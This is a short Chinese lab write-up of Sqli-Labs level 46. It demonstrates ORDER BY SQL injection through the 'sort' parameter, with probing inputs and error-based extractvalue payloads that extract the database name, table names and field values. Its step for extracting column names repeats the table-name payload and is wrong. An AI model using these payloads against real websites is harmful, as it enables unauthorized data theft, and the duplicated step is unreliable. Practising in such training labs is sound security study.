注:说明借鉴(现阶段水平不够,只能靠借鉴来完成本次作业,若侵权,必删)
基于Sqli-Labs靶场的SQL注入-46~53关_sqli-lab less46-CSDN博客
SQL-Labs46关order by注入姿势-CSDN博客
一、首先需要sql-labs的环境(侵权必删)
Sqli-labs环境搭建教程(sql注入)_sqli-labs搭建-CSDN博客
二、查看环境
该关提示我们使用sort() 排序参数,我们输入语句:
?sort=1
页面回显:
当我们闭合sql语句后:
?sort=1'
页面回显:
当我们输入语句进行测试:
?sort=1' and '1'='1
当我们输入整形语法时:
?sort=1 and 1=1
三、查看源码:
可以看到我们输入的参数位于Order By语句后,而在MYSQL查询语法中,排序是放在最后面的,也就是说我们写入的联合查询的语句必须要放到排序语句之前才可以正常使用,显而易见这里是行不通的,所以这里不能使用联合注入。
爆破数据库名:
?sort=1 and extractvalue(1,concat(0x7e,database())) --+
爆破表名:
?sort=1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))) --+
爆破列名:
?sort=1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))) --+
随后爆破字段:
?sort=1 and extractvalue(1,concat(0x7e,(select id from emails limit 0,1))) --+